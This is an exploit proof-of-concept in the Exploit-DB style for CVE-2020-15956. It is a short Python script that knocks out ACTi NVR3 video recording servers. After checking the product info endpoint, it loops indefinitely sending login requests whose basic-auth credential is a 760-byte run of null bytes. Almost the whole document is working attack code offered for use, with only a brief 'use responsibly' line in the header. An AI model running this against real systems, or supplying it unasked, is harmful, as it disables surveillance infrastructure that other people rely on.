# Exploit Title: ACTi NVR3 Standard or Professional Server 3.0.12.42 - Denial of Service (PoC)  #
# Date: 2020-08-04                                                              #
# Exploit Author: MegaMagnus                                                    #
# Vendor Homepage: https://www.acti.com/                                        #
# Software Link: https://www.acti.com/DownloadCenter                            #
# Version: V.3.0.12.42 , V.2.3.04.07                                            #
# Tested on: Windows 7, Windows 10                                              #
# CVE: CVE-2020-15956                                                           #
# This is a Proof of Concept Exploit, Please use responsibly.                   #
#################################################################################

#!/usr/bin/env python
import requests
from requests.auth import HTTPBasicAuth
import sys

def product_info(server):
    try:
        r = requests.get(sys.argv[1] + '/media/Product/getProductInfo', timeout=10)
        if r.status_code == 200:
            print(r.text)
            return True
    except Exception as e:
        print(e)
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("usage: cve-2020-15956.py <target>")
        exit(-1)
    if product_info(sys.argv[1]):
        print("Starting DOS. Use Ctrl-C (SIGINT) to stop!")
        while True:
            try:
                payload = b"\x00" * (760)
                r = requests.get(sys.argv[1] + '/Media/UserGroup/login', auth=HTTPBasicAuth('Basic',payload), timeout=10)
                print(r.status_code)
            except KeyboardInterrupt:
                pass
            except Exception as e:
                pass